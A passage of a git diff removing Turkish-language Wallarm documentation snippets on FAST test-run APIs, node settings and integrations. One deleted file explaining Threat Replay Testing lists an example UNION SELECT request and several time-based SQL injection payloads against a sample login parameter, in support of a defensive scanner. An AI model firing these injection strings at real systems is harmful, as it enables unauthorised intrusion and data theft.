              `true`: ilk tespit edilen güvenlik açığında test çalıştırmasının yürütmesini durdurur.
              `false`: herhangi bir güvenlik açığı tespit edilip edilmediğine bakılmaksızın tüm temel istekleri işler.
              Varsayılan değer: `false` | -| | `rps_per_baseline` | Bu parametre, hedef uygulamaya gönderilecek test isteklerinin sayısı için bir sınır belirtir (*RPS*, *saniye başına istek*; örneğin tek bir temel istekten türetilmiş 100 test isteği olabilir).
              Sınır, test çalıştırması içinde temel istek başına belirlenir (tek bir temel istek için saniyede `N` test isteğinden fazlası gönderilmeyecektir).
              Minimum değer: `1`.
              Maksimum değer: `500`.
              Varsayılan değer: `null` (RPS sınırsızdır) | -| | `rps` | Bu parametre, yukarıda açıklananla benzerdir; ancak RPS'yi yalnızca tek bir temel istek için değil, test çalıştırması genelinde sınırlar.
              Başka bir deyişle, saniye başına toplam test isteği sayısı, test çalıştırması sırasında kaç temel istek kaydedildiğinden bağımsız olarak belirtilen değeri aşmamalıdır.
              Minimum değer: `1`.
              Maksimum değer: `1000`.
              Varsayılan değer: `null` (RPS sınırsızdır) | - -**İstek örneği:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun", - "test_record_id":"rec_0001" -}' -``` - -**Yanıt örneği: test çalıştırmasının kopyalanması sürüyor** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "cloning", - ... - "test_record_id": "rec_0001", - ... -} -``` - -`cloning` durumu, temel isteklerin özgün test çalıştırmasından kopyasına (tanımlayıcısı `tr_1234` olan test çalıştırmasına) kopyalanmakta olduğu anlamına gelir. - -**Yanıt örneği: test çalıştırmasının kopyalanması başarısız oldu** - -``` -{ - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": "rec_0001" - } - } -} -``` - -`not_ready_for_cloning` hatası, özgün test çalıştırmasında kayıt işlemi etkin olduğu (tanımlayıcısı `rec_0001` olan test kaydını içeren) için temel isteklerin özgünden kopyasına kopyalanmasının mümkün olmadığını ifade eder. \ No newline at end of file diff --git a/include-tr/fast/operations/api-create-testrun.md b/include-tr/fast/operations/api-create-testrun.md deleted file mode 100644 index 58f9b7b174..0000000000 --- a/include-tr/fast/operations/api-create-testrun.md +++ /dev/null @@ -1,41 +0,0 @@ -| API çağrısı: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| Yetkilendirme: | Gerekli | Token ile | -| Token içeren HTTP üstbilgisi: | `X-WallarmAPI-Token` | Token değerini API sunucusuna iletmek için kullanılır | -| Parametreler: | `name` **(gerekli)** | Test çalıştırmasının adı | -| | `test_record_name` | Test kaydının adı. Tüm baseline istekleri bu test kaydına yerleştirilecektir.
              Varsayılan değer: test çalıştırmasının adı. | -| | `desc` | Test çalıştırmasının ayrıntılı açıklaması.
              Varsayılan değer: boş dize | -| | `file_extensions_to_exclude` | Bu parametre, test sırasında değerlendirme sürecinden hariç tutulması gereken belirli dosya türlerinin belirtilmesine olanak tanır. Bu dosya türleri düzenli ifade ile belirtilir.
              Örneğin, hariç tutulacak dosya uzantısı olarak `ico` ayarlanırsa, `GET /favicon.ico` baseline isteği FAST tarafından kontrol edilmeyecek ve atlanacaktır.
              Düzenli ifade aşağıdaki formata sahiptir:
              - `.`: herhangi bir karakterin herhangi bir sayıda (sıfır veya daha fazla)
              - `x*`: `x` karakterinin herhangi bir sayıda (sıfır veya daha fazla)
              - `x?`: tek bir `x` karakteri (ya da hiç)
              - herhangi tek bir dosya uzantısı (ör. `jpg`)
              - dikey çizgi ile ayrılmış birkaç uzantı (ör. `jpg` | `png`)
              Varsayılan değer: boş dize (FAST, herhangi bir dosya uzantısına sahip baseline isteklerini kontrol eder). | -| | `policy_id` | Test politikasının tanımlayıcısı.
              Parametre yoksa, varsayılan politika devreye girer | -| | `stop_on_first_fail` | Bu parametre, bir güvenlik açığı tespit edildiğinde FAST’ın davranışını belirtir:
              `true`: ilk tespit edilen güvenlik açığında test çalıştırmasının yürütülmesini durdur.
              `false`: herhangi bir güvenlik açığı tespit edilip edilmediğine bakılmaksızın tüm baseline isteklerini işle.
              Varsayılan değer: `false` | -| | `skip_duplicated_baselines` | Bu parametre, yinelenen bir baseline isteğiyle karşılaşıldığında FAST’ın davranışını belirtir:
              `true`: yinelenen baseline isteklerini atla (birkaç özdeş baseline isteği varsa, yalnızca ilk baseline isteği için test istekleri üretilir).
              `false`: gelen her baseline isteği için test istekleri üretilir.
              Varsayılan değer: `true` | -| | `rps_per_baseline` | Bu parametre, hedef uygulamaya gönderilecek test isteklerinin sayısına ilişkin bir sınır belirtir (*RPS*, *saniye başına istek*) (ör. tek bir baseline isteğinden türetilmiş 100 test isteği olabilir).
              Sınır, test çalıştırmasında baseline isteği başına belirlenir (tek bir baseline isteği için saniyede en fazla `N` test isteği gönderilir).
              Minimum değer: `1`.
              Maksimum değer: `500`.
              Varsayılan değer: `null` (RPS sınırsızdır) | -| | `rps` | Bu parametre, yukarıda açıklanana benzer, ancak yalnızca tek bir baseline isteği için değil, test çalıştırması başına küresel olarak RPS’yi sınırlar.
              Diğer bir deyişle, test çalıştırması sırasında kaç baseline isteği kaydedilmiş olursa olsun, saniye başına toplam test isteği sayısı belirtilen değeri aşmamalıdır.
              Minimum değer: `1`.
              Maksimum değer: `1000`.
              Varsayılan değer: `null` (RPS sınırsızdır) | -| | `inactivity_timeout` | Bu parametre, FAST düğümünün yeni bir baseline isteğinin gelmesini beklediği süreyi saniye cinsinden belirtir.
              Bu davranış ayrıntılı olarak [burada][doc-inactivity-timeout] açıklanmıştır.
              Zaman aşımı, kaydedilen baseline istekleri için güvenlik testlerinin oluşturulması ve yürütülmesi süreçlerini etkilemez.
              Minimum değer: `300` (300 saniye veya 5 dakika).
              Maksimum değer: `86400` (86400 saniye veya 1 gün).
              Varsayılan değer: `1800` (1800 saniye veya 30 dakika) | - -**İstek örneği:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun" -}' -``` - -**Yanıt örneği:** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "running", - ... -} -``` \ No newline at end of file diff --git a/include-tr/fast/operations/api-stop-recording.md b/include-tr/fast/operations/api-stop-recording.md deleted file mode 100644 index 252267c0a7..0000000000 --- a/include-tr/fast/operations/api-stop-recording.md +++ /dev/null @@ -1,26 +0,0 @@ -| API çağrısı: | `POST /v1/test_run/test_run_id/action/stop` | | -| ------------- | ------------------------------------------ | ---- | -| Yetkilendirme: | Gerekli | Token ile | -| Token içeren HTTP başlığı: | `X-WallarmAPI-Token` | Token değerini API sunucusuna iletmek için kullanılır | -| Parametreler: | `test_run_id` **(gerekli)** | Temel isteklerin kaydını durdurmak istediğiniz test çalışmasının tanımlayıcısı | - -**İstek örneği:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234/action/stop \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Yanıt örneği:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - ... - "recording": false, - ... - } -} -``` \ No newline at end of file diff --git a/include-tr/fast/operations/env-vars-allowed-hosts.md b/include-tr/fast/operations/env-vars-allowed-hosts.md deleted file mode 100644 index 67d8849321..0000000000 --- a/include-tr/fast/operations/env-vars-allowed-hosts.md +++ /dev/null @@ -1,12 +0,0 @@ -[link-allowed-hosts]: http://nginx.org/en/docs/http/server_names.html - -!!! info "Geçerli `ALLOWED_HOSTS` değişken değerleri" - `ALLOWED_HOSTS` değişkeni aşağıdaki ana makine ad biçimlerini kabul eder: - - * tam nitelikli adlar (örn. `node.example.local`) - * bir nokta ile başlayan ve alt alan adı jokeri olarak kabul edilen değer (örn. `.example.local`) - * her şeyle eşleşen `*` değeri (bu durumda, tüm istekler FAST node tarafından kaydedilir) - * birden fazla değerden oluşan küme, örneğin: `"(node.example.local|example.com)"` - * NGINX tarafından desteklenen [sözdiziminde](http://nginx.org/en/docs/http/server_names.html#regex_names) düzenli ifade - - `ALLOWED_HOSTS` değişken değerleri hakkında daha fazla bilgi için bu [bağlantıya][link-allowed-hosts] gidin. \ No newline at end of file diff --git a/include-tr/fast/poc/api-check-testrun-status-recording.md b/include-tr/fast/poc/api-check-testrun-status-recording.md deleted file mode 100644 index 22c2f28363..0000000000 --- a/include-tr/fast/poc/api-check-testrun-status-recording.md +++ /dev/null @@ -1,28 +0,0 @@ -| API çağrısı: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| Yetkilendirme: | Gerekli | Yetkilendirme token ile sağlanır | -| Token içeren HTTP başlığı: | `X-WallarmAPI-Token` | Token değerini API sunucusuna iletmek için kullanılır | -| Parametreler: | `test_run_id` **(zorunlu)** | Durumu alınacak test çalışmasının tanımlayıcısı | - - -**İstek örneği:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Yanıt örneği:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "ready_for_recording": true, - ... - } -} -``` \ No newline at end of file diff --git a/include-tr/fast/test-run-adv-settings.md b/include-tr/fast/test-run-adv-settings.md deleted file mode 100644 index afad91b339..0000000000 --- a/include-tr/fast/test-run-adv-settings.md +++ /dev/null @@ -1,19 +0,0 @@ - * “Stop on first fail” onay kutusu, ilk güvenlik açığı bulunduğunda test çalıştırmasının durdurulup durdurulmayacağını belirler. - * “Skip duplicated baselines” onay kutusu, daha önce alınan baseline isteklerinin kopyalarının yok sayılıp sayılmayacağını belirler. FAST node daha önce bu test çalıştırmasında alınanla aynı baseline isteğini alırsa, bunun temelinde hiçbir test isteği oluşturulmaz ve FAST node konsolu şu mesajı yazdırır: `[info] The baseline #8921 is duplicated and already was processed`. - * “Skip following files extensions” onay kutusu, test sırasında değerlendirme sürecinden belirli dosya türlerinin hariç tutulup tutulmayacağını belirler. Bu dosya türleri düzenli ifadeyle belirtilir. - - Örneğin, hariç tutulacak dosya uzantısını `ico` olarak ayarlarsanız, `GET /favicon.ico` baseline isteği FAST tarafından kontrol edilmeyecek ve atlanacaktır. - - Düzenli ifade aşağıdaki birbirini dışlayan ifadelerden birini içerebilir: - - * `.`: herhangi bir karakterin herhangi bir sayıda tekrarı - * `x*`: `x` karakterinin herhangi sayıda tekrarı - * `x?`: tek bir `x` karakteri (veya hiç `x` karakteri olmaması) - * herhangi tek bir dosya uzantısı (örn. `jpg`) - * birden fazla uzantı; “|” veya “,” karakteriyle ayrılmış (örn. `jpg | png` veya `jpg, png`) - - Bir düzenli ifade belirtilmezse, FAST tüm dosya uzantılarına sahip baseline isteklerini kontrol eder. - - * “RPS per test run” kaydırıcısı, test çalıştırması için saniye başına istek sınırını belirler. Bu ayar `1` ile `1000` arasında değer alabilir. Varsayılan değer `1000`. - * “RPS per baseline” kaydırıcısı, tek bir baseline isteği için saniye başına istek sınırını belirler. Bu ayar `1` ile `500` arasında değer alabilir. Varsayılan değer `500`. - * “Stop baseline recording after” kaydırıcısı, test çalıştırmasının süre sınırını belirler. Bu ayar `5 min` (5 dakika) ile `1 day` (24 saat) arasında değer alabilir. Varsayılan değer `30 min` (30 dakika). \ No newline at end of file diff --git a/include-tr/fast/wallarm-api-host-note-cicd.md b/include-tr/fast/wallarm-api-host-note-cicd.md deleted file mode 100644 index 97aef783e9..0000000000 --- a/include-tr/fast/wallarm-api-host-note-cicd.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "FAST düğümünü Wallarm Cloud'lardan birine bağlama" - Bir FAST düğümü, [mevcut Wallarm Cloud'lardan](../../cloud-list.md) biriyle etkileşim kurar. Varsayılan olarak, bir FAST düğümü Amerikan cloud'unda bulunan Wallarm API server ile çalışır. - - Bir FAST düğümüne başka bir cloud'daki API server'ı kullanmasını belirtmek için, gerekli Wallarm API server adresini gösteren `WALLARM_API_HOST` ortam değişkenini düğüm konteynerine iletin. - - Örnek (Avrupa Wallarm Cloud'unda bulunan API server'ı kullanan bir FAST düğümü için): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-tr/fast/wallarm-api-host-note.md b/include-tr/fast/wallarm-api-host-note.md deleted file mode 100644 index 3da1f205f2..0000000000 --- a/include-tr/fast/wallarm-api-host-note.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "FAST node'u Wallarm cloud'larından birine bağlama" - Bir FAST node, [mevcut Wallarm cloud'larından](../cloud-list.md) biriyle etkileşime girer. Varsayılan olarak, bir FAST node Amerikan Wallarm cloud'unda bulunan Wallarm API sunucusuyla çalışır. - - Bir FAST node'un başka bir cloud'daki API sunucusunu kullanmasını sağlamak için, gerekli Wallarm API sunucusunun adresini gösteren `WALLARM_API_HOST` ortam değişkenini node konteynerine iletin. - - Örnek (Avrupa Wallarm cloud'unda bulunan API sunucusunu kullanan bir FAST node için): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-tr/filter-node-defaults.md b/include-tr/filter-node-defaults.md deleted file mode 100644 index e143d28409..0000000000 --- a/include-tr/filter-node-defaults.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Varsayılan ayarlar" - Yeni kurulmuş bir filtreleme düğümü varsayılan olarak engelleme modunda çalışır (bkz. [`wallarm_mode`](configure-parameters-en.md#wallarm_mode) direktifinin açıklaması). - - Bu, [Wallarm Scanner](../user-guides/scanner.md)'ın çalışmamasına neden olabilir. Scanner'ı kullanmayı planlıyorsanız, Scanner'ı çalışır hale getirmek için [ek işlemler gerçekleştirmeniz gerekir](#adding-wallarm-scanner-addresses-to-the-allowlist). \ No newline at end of file diff --git a/include-tr/gcp-autoscaling-connect-ssh.md b/include-tr/gcp-autoscaling-connect-ssh.md deleted file mode 100644 index 9e7773fb2e..0000000000 --- a/include-tr/gcp-autoscaling-connect-ssh.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Kullanıcı tanımlı özel anahtar aracılığıyla örneğe bağlanma" - Temel örnek oluşturma süreci sırasında özel bir SSH anahtar çifti aracılığıyla örneğe bağlantıyı etkinleştirdiyseniz, bu anahtar çiftinin özel anahtarına erişiminizin olduğundan emin olun. \ No newline at end of file diff --git a/include-tr/how-attack-rechecker-works.md b/include-tr/how-attack-rechecker-works.md deleted file mode 100644 index c2b7803aba..0000000000 --- a/include-tr/how-attack-rechecker-works.md +++ /dev/null @@ -1,39 +0,0 @@ -Başlangıçta tespit edilen saldırılara dayanarak, **Threat Replay Testing** modülü aynı endpoint'e saldıran farklı payload'larla çok sayıda yeni test isteği oluşturur. Bu mekanizma, Wallarm'ın saldırılar sırasında potansiyel olarak istismar edilebilecek güvenlik açıklarını tespit etmesini sağlar. Threat Replay Testing süreci, uygulamanın belirli saldırı vektörlerine karşı savunmasız olmadığını doğrular veya gerçek uygulama güvenliği sorunları bulur. - -[Modül tarafından tespit edilebilen güvenlik açıklarının listesi](../attacks-vulns-list.md) - -**Threat Replay Testing** süreci, korunmakta olan uygulamayı olası Web ve API güvenlik açıkları için kontrol etmek üzere aşağıdaki mantığı kullanır: - -1. Wallarm filtreleme düğümü tarafından tespit edilip bağlı Wallarm Cloud'a yüklenen her bir kötü amaçlı istek grubu (her saldırı) için sistem, hangi spesifik endpoint'in (URL, sorgu dizesi parametresi, JSON özniteliği, XML alanı, vb.) hedef alındığını ve saldırganın hangi spesifik türde güvenlik açığını (SQLi, RCE, XSS, vb.) istismar etmeye çalıştığını analiz eder. Örneğin, aşağıdaki kötü amaçlı GET isteğine bakalım: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=UNION SELECT username, password - ``` - - Bu istekten sistem aşağıdaki ayrıntıları öğrenir: - - * Hedef alınan URL: `https://example.com/login` - * Kullanılan saldırı türü SQLi'dir (`UNION SELECT username, password` payload'ına göre) - * Hedef alınan sorgu dizesi parametresi `user` - * İstekte sağlanan ek bilgi, istek dizesi parametresi `token=IyEvYmluL3NoCg`'dır (muhtemelen uygulama tarafından kullanıcıyı kimlik doğrulamak için kullanılır) -2. Toplanan bilgileri kullanarak **Threat Replay Testing** modülü, başlangıçta hedeflenen endpoint'e yönelik, aynı saldırı türü (ör. SQLi) için farklı kötü amaçlı payload'lar içeren yaklaşık 100-150 test isteğinden oluşan bir liste oluşturur. Örneğin: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=1')+WAITFOR+DELAY+'0 indexpt'+AND+('wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+SLEEP(10)--+wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1);SELECT+PG_SLEEP(10)-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1'+OR+SLEEP(10)+AND+'wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+1=(SELECT+1+FROM+PG_SLEEP(10)) - https://example.com/login?token=IyEvYmluL3NoCg&user=%23'%23\x22%0a-sleep(10)%23 - https://example.com/login?token=IyEvYmluL3NoCg&user=1';+WAITFOR+DELAY+'0code:10'-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1%27%29+OR+SLEEP%280%29+AND+%28%27wlrm%27%3D%27wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=SLEEP(10)/*'XOR(SLEEP(10))OR'|\x22XOR(SLEEP(10))OR\x22*/ - ``` - - !!! info "Kötü amaçlı payload'lar kaynaklarınıza zarar vermez" - Üretilen isteklerin kötü amaçlı payload'ları gerçek kötü amaçlı sözdizimi içermez; yalnızca saldırı prensibini taklit etmeye yöneliktir. Sonuç olarak, kaynaklarınıza zarar vermezler. -3. **Threat Replay Testing** modülü, üretilen test isteklerini Wallarm korumasını baypas ederek ( [allowlisting özelliği][allowlist-scanner-addresses] kullanılarak) uygulamaya gönderir ve belirli endpoint'teki uygulamanın belirli saldırı türüne karşı savunmasız olmadığını doğrular. Modül, uygulamada gerçek bir güvenlik açığı olduğundan şüphelenirse, [incident](../user-guides/events/check-attack.md#incidents) türünde bir etkinlik oluşturur. - - !!! info "İsteklerde `User-Agent` HTTPS üstbilgi değeri" - **Threat Replay Testing** modülü isteklerindeki `User-Agent` HTTP üstbilgisinin değeri `Wallarm Threat-Verification (v1.x)` olacaktır. -4. Tespit edilen güvenlik olayları Wallarm Console'da raporlanır ve mevcut üçüncü taraf [Integrations](../user-guides/settings/integrations/integrations-intro.md) ve [Triggers](../user-guides/triggers/triggers.md) aracılığıyla güvenlik ekibinize iletilebilir. \ No newline at end of file diff --git a/include-tr/ingress-controller-best-practices-intro.md b/include-tr/ingress-controller-best-practices-intro.md deleted file mode 100644 index 38f14764d5..0000000000 --- a/include-tr/ingress-controller-best-practices-intro.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Diğer öneriler" - Wallarm’ın Kubernetes Ingress controller sürümü, [Kubernetes için topluluk tarafından desteklenen NGINX Ingress controller](https://github.com/kubernetes/ingress-nginx) temel alınarak geliştirildiğinden, resmi Ingress controller dokümantasyonunda ve genel İnternet'te bulunan önerilerin çoğunun Wallarm’ın Ingress controller’ı için de geçerli olduğunu unutmayın. - - Önerilen okumalar: - - * [Resmi NGINX Ingress Controller Kılavuzu](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/) \ No newline at end of file diff --git a/include-tr/ingress-k8s-limitations.md b/include-tr/ingress-k8s-limitations.md deleted file mode 100644 index def649c8cd..0000000000 --- a/include-tr/ingress-k8s-limitations.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "Desteklenen Kubernetes Platformu" - Lütfen dikkat edin, Wallarm NGINX veya NGINX Plus Ingress denetleyicileri yalnızca Kubernetes platformunun 1.15 ve altındaki sürümlerinde çalışır. \ No newline at end of file diff --git a/include-tr/installation-extra-steps-218.md b/include-tr/installation-extra-steps-218.md deleted file mode 100644 index 7d19c118c5..0000000000 --- a/include-tr/installation-extra-steps-218.md +++ /dev/null @@ -1,44 +0,0 @@ -## Ek ayarlar - -Filtreleme düğümü, kurulumdan sonra bazı ek yapılandırmalar gerektirebilir. - -Aşağıdaki belge, gerekirse uygulayabileceğiniz birkaç tipik kurulumu listeler. - -Diğer kullanılabilir ayarlar hakkında daha fazla bilgi için, [Yönetici kılavuzunun](admin-intro-en.md) **Yapılandırma** bölümüne ilerleyin. - -### İstemcinin gerçek IP’sinin görüntülenmesini yapılandırma - -Filtreleme düğümü bir proxy sunucusu veya yük dengeleyicinin arkasına ek bir yapılandırma olmadan yerleştirilirse, isteğin kaynak adresi, istemcinin gerçek IP adresine eşit olmayabilir. Bunun yerine, proxy sunucusunun veya yük dengeleyicinin IP adreslerinden birine eşit olabilir. - -Bu durumda, filtreleme düğümünün istemcinin IP adresini istek kaynağı adresi olarak almasını istiyorsanız, proxy sunucusunu veya yük dengeleyiciyi [ek yapılandırma](using-proxy-or-balancer-en.md) ile ayarlamanız gerekir. - -### Wallarm Scanner adreslerini izin listesine ekleme - -Wallarm Scanner, şirketinizin kaynaklarını güvenlik açıkları için kontrol eder. Tarama, kullandığınız Wallarm Cloud türüne bağlı olarak aşağıdaki listelerden birindeki IP adresleri kullanılarak yapılır: - -* [US Cloud kullanıcıları için US Scanner adresleri](scanner-address-us-cloud.md) -* [EU Cloud kullanıcıları için EU Scanner adresleri](scanner-address-eu-cloud.md) - -Wallarm Scanner’ı kullanıyorsanız, ağınızdaki güvenlik yazılımlarında (güvenlik duvarları, saldırı tespit sistemleri vb. gibi) Wallarm Scanner IP adreslerini içerecek şekilde izin listelerini yapılandırmanız gerekir. - -Örneğin, varsayılan ayarlarla bir Wallarm filtreleme düğümü engelleme modunda çalışır ve bu da Wallarm Scanner’ın filtreleme düğümünün arkasındaki kaynakları tarayamamasına neden olur. - -Scanner’ın tekrar çalışabilmesi için, bu filtreleme düğümünde [Scanner’ın IP adreslerini izin listesine alın](scanner-ips-allowlisting.md). - -### Tek bir isteğin işlenme süresini sınırlama - -Filtreleme düğümünün tek bir isteği işlemesi için süre sınırını belirtmek üzere [`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit) Wallarm yönergesini kullanın. - -İsteğin işlenmesi yönergede belirtilenden daha uzun sürerse, hataya ilişkin bilgiler günlük dosyasına yazılır ve istek bir `overlimit_res` saldırısı olarak işaretlenir. - -### Sunucu yanıtını bekleme süresini sınırlama - -Proxy sunucusunun yanıtını okuma zaman aşımını belirtmek için [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) NGINX yönergesini kullanın. - -Sunucu bu süre boyunca hiçbir şey göndermezse, bağlantı kapatılır. - -### Azami istek boyutunu sınırlama - -İstemcinin isteğinin gövdesi için azami boyut sınırını belirtmek üzere [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) NGINX yönergesini kullanın. - -Bu sınır aşılırsa, NGINX istemciye `413` (`Payload Too Large`) kodu ile yanıt verir; bu aynı zamanda `Request Entity Too Large` iletisi olarak da bilinir. \ No newline at end of file diff --git a/include-tr/installation-extra-steps.md b/include-tr/installation-extra-steps.md deleted file mode 100644 index 1dd4e7a233..0000000000 --- a/include-tr/installation-extra-steps.md +++ /dev/null @@ -1,31 +0,0 @@ -## Ek ayarlar - -Filtreleme düğümü, kurulumdan sonra bazı ek yapılandırmalar gerektirebilir. - -Aşağıdaki belge, gerekirse uygulayabileceğiniz birkaç tipik yapılandırmayı listeler. - -Diğer mevcut ayarlar hakkında daha fazla bilgi için Yönetici kılavuzunun **Yapılandırma** bölümüne gidin. - -### İstemcinin gerçek IP adresinin görüntülenmesini yapılandırma - -Filtreleme düğümü, herhangi bir ek yapılandırma olmadan bir proxy sunucusu veya yük dengeleyicinin arkasına konuşlandırılırsa, istek kaynak adresi istemcinin gerçek IP adresine eşit olmayabilir. Bunun yerine, proxy sunucusu veya yük dengeleyicinin IP adreslerinden birine eşit olabilir. - -Bu durumda, filtreleme düğümünün istemcinin IP adresini istek kaynak adresi olarak almasını istiyorsanız, proxy sunucusu veya yük dengeleyici için [ek yapılandırma](using-proxy-or-balancer-en.md) yapmanız gerekir. - -### Tek bir isteğin işlenme süresini sınırlandırma - -Filtreleme düğümünün tek bir isteği işlemesi için süre sınırını belirtmek amacıyla [`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit) Wallarm yönergesini kullanın. - -İsteğin işlenmesi yönergede belirtilenden daha fazla zaman alırsa, hataya ilişkin bilgi günlük dosyasına yazılır ve istek bir `overlimit_res` saldırısı olarak işaretlenir. - -### Sunucu yanıtı bekleme süresini sınırlandırma - -Proxy sunucusunun yanıtını okuma zaman aşımını belirtmek için [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) NGINX yönergesini kullanın. - -Sunucu bu süre boyunca hiçbir şey göndermezse, bağlantı kapatılır. - -### Azami istek boyutunu sınırlandırma - -İstemci isteğinin gövdesinin azami boyutu için sınırı belirtmek üzere [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) NGINX yönergesini kullanın. - -Bu sınır aşıldığında, NGINX istemciye `413` (`Payload Too Large`) koduyla, diğer adıyla `Request Entity Too Large` mesajıyla yanıt verir. \ No newline at end of file diff --git a/include-tr/installation-step-logging.md b/include-tr/installation-step-logging.md deleted file mode 100644 index 1b8c4cb49f..0000000000 --- a/include-tr/installation-step-logging.md +++ /dev/null @@ -1 +0,0 @@ -NGINX kullanarak [filtreleme düğümü değişkenlerinin günlüğe kaydını](../admin-en/configure-logging.md) yapılandırın. Bu, NGINX günlük dosyasının yardımıyla filtreleme düğümünde hızlı tanılama yapmanıza olanak tanır. \ No newline at end of file diff --git a/include-tr/integrations/advanced-events-for-integrations-4.6.md b/include-tr/integrations/advanced-events-for-integrations-4.6.md deleted file mode 100644 index 7787b7af6f..0000000000 --- a/include-tr/integrations/advanced-events-for-integrations-4.6.md +++ /dev/null @@ -1,12 +0,0 @@ -* [Hits](../../../glossary-en.md#hit) tespit edilir, şunlar hariç: - - * [özel düzenli ifade](../../rules/regex-rule.md) temelinde tespit edilen deneysel hits. Deneysel olmayan hits bildirimleri tetikler. - * [örnekleme](../../../user-guides/events/analyze-attack.md#sampling-of-hits) içinde kaydedilmeyen Hits. - -* Sistem ile ilgili: - * [User](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturma, silme, rol değişikliği) - * [Integration](integrations-intro.md) değişiklikleri (devre dışı bırakma, silme) - * [Application](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturma, silme, ad değişikliği) -* [Vulnerabilities](../../../glossary-en.md#vulnerability) tespit edilir; varsayılan olarak tümü veya yalnızca seçilen risk düzeyi(leri) için - yüksek, orta veya düşük. -* [Rules](../../../user-guides/rules/intro.md) ve [triggers](../../../user-guides/triggers/triggers.md) değiştirildi (kural veya trigger'ı oluşturma, güncelleme ya da silme) -* Saatlik olarak, önceki saat içinde işlenen istek sayısını içeren bir bildirim alabilirsiniz \ No newline at end of file diff --git a/include-tr/integrations/advanced-events-for-integrations-ar.md b/include-tr/integrations/advanced-events-for-integrations-ar.md deleted file mode 100644 index 5365386c93..0000000000 --- a/include-tr/integrations/advanced-events-for-integrations-ar.md +++ /dev/null @@ -1,13 +0,0 @@ -* [Hits](../../../glossary-en.md#hit) tespit edildi, şu durumlar dışında: - - * [özel düzenli ifade](../../rules/regex-rule.md) temelinde tespit edilen deneysel Hits. Deneysel olmayan Hits bildirimleri tetikler. - * [sample](../../../user-guides/events/analyze-attack.md#sampling-of-hits) içinde kaydedilmeyen Hits. - -* Sistemle ilgili: - * [User](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturuldu, silindi, rol değişikliği) - * [Integration](integrations-intro.md) değişiklikleri (devre dışı bırakıldı, silindi) - * [Application](../../../user-guides/settings/applications.md) değişiklikleri (yeni oluşturuldu, silindi, ad değişikliği) - * [rogue API tespiti](../../../api-discovery/rogue-api.md#step-1-upload-specification) veya [API spesifikasyonu zorlaması](../../../api-specification-enforcement/setup.md#step-1-upload-specification) için kullanılan spesifikasyonların düzenli güncellenmesi sırasında oluşan hatalar -* [Vulnerabilities](../../../glossary-en.md#vulnerability) tespit edildi, varsayılan olarak tümü ya da yalnızca seçilen risk seviyesi/seviyeleri için - yüksek, orta veya düşük. -* [Rules](../../../user-guides/rules/rules.md) ve [triggers](../../../user-guides/triggers/triggers.md) değişti (rule veya trigger oluşturma, güncelleme ya da silme) -* Saatlik olarak, önceki saat içinde işlenen isteklerin sayısını içeren bir bildirim alabilirsiniz \ No newline at end of file diff --git a/include-tr/integrations/advanced-events-for-integrations.md b/include-tr/integrations/advanced-events-for-integrations.md deleted file mode 100644 index 96aae91e0f..0000000000 --- a/include-tr/integrations/advanced-events-for-integrations.md +++ /dev/null @@ -1,19 +0,0 @@ -* [Hits](../../../glossary-en.md#hit) tespit edildi, şu durumlar hariç: - - * [özel düzenli ifade](../../rules/regex-rule.md) temelinde tespit edilen deneysel Hits. Deneysel olmayan Hits bildirimleri tetikler. - * [örneklem](../../events/grouping-sampling.md#sampling-of-hits) içinde kaydedilmeyen Hits. - -* Sistem ile ilgili: - * [User](../../../user-guides/settings/users.md) değişiklikleri (yeni oluşturuldu, silindi, rol değişikliği) - * [Integration](integrations-intro.md) değişiklikleri (devre 